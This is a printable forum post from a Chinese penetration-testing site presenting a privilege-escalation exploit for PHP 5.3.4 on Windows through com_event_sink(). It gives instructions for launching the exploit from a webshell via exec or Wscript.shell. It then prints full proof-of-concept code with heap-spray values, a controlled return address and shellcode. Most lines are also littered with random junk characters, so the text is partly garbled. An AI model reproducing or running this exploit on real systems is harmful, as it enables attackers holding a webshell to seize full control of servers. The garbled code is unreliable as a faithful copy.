中国网络渗透测试联盟

标题: PHP 5.3.4(WIN) COM_SINK权限提升漏洞 [打印本页]
作者: admin    时间: 2012-11-9 21:08
标题: PHP 5.3.4(WIN) COM_SINK权限提升漏洞
PHP最新版已经更新至5.4.x，不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
7 l  m9 I+ R- _5 a8 o
- s+ m9 |6 w2 N6 |% \( F测试方法如下：cmd /c x:\php\php.exe x:\test.php
1 e7 z/ J0 q# e" G
1 m# Z1 \) }7 S4 g下载php程序至本地，然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行，或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
7 ]6 x. h9 ?7 p2 c  s1 \这里是两个测试的截图：
# U. \: x; \7 l# t6 a1 U- u  h# ~* A  u8 k! _
( U+ h0 a4 k, `7 W! ]  l. U6 P7 C
* s8 r; P% w9 f9 I2 x) d1 I
7 w  a1 l+ @* Q
( }/ y$ q" e5 X: N8 B3 F
成功利用此漏洞的攻击者将获得系统的最高权限% M4 A$ X0 V, U% @

  i; c3 G8 u& k# q) E
( E9 c# P8 I3 N# h: [2 I2 M% v, h/ Q1 m

& c( v# q4 B$ ~4 `& S
& P. n& G1 W: S" r关于漏洞分析稍后附上。一下是PoC代码：
/ Z9 y6 f( V7 B6 {  m- V& m2 r+ K
<?php
) C& s$ E* i5 O0 g/ o% t3 N# }//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
* I1 j2 w' Q/ j6 h8 L+ L$ G//$eip ="\x44\x43\x42\x41";4 g# j) y- N( b4 D# L( _
$eip= "\x4b\xe8\x57\x78";. k; T1 _9 ~2 X3 F% }
$eax ="\x80\x01\x8d\x04";7 W8 ]& B- R6 l6 ?; n4 R5 O, E2 H
$deodrant="";3 J+ ?# i: B$ S- ?. v
$axespray = str_repeat($eip.$eax,0x80);5 ?( e3 x% N# E) q& ~! p) I: r/ i
//048d0190
9 _2 j! F( Y1 O' D  B9 }' I4 [echo strlen($axespray);
. P7 Z7 _2 k( i$ s! w2 x) {echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";# Z, E1 f- J, C+ X6 w6 X" K, A
echo "Silic Group Hacker Army - BlackBap.Org";: Q; L( N6 O: c( z" J! g
//19200 ==4B32 4b00
- @+ Q# w2 M( S3 Qfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}6 q+ D+ V5 m4 r, m: E4 C
$terminate = "T";& `6 Y9 P& d) ?3 z* N
$u[] =$deodrant;
  _+ m4 C- x( E6 H' i# M$r[] =$deodrant.$terminate;* c  T/ Z- i% n: s$ F
$a[] =$deodrant.$terminate;" e8 Z7 J% n* ^5 ?
$s[] =$deodrant.$terminate;
7 ]' r5 `2 z' `. N. G% w//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的' i. v0 h6 I# a" a5 t
$vVar = new VARIANT(0x048d0000+180);# N0 L+ U) Y+ P; \
//弹窗代码(Shellcode)
9 T- T  Q# y6 V5 v6 a% O) U4 U1 K$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";4 _9 r5 D5 l1 i* X( {6 d' A* b) l
$var2 = new VARIANT(0x41414242);
# V4 C6 a  D, D% r8 |- Wcom_event_sink($vVar,$var2,$buffer);
4 C/ s6 G, I! g3 y! m7 @?>( B9 S; v9 v- b6 w* u9 E/ v
[attach]113[/attach][attach]114[/attach]



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2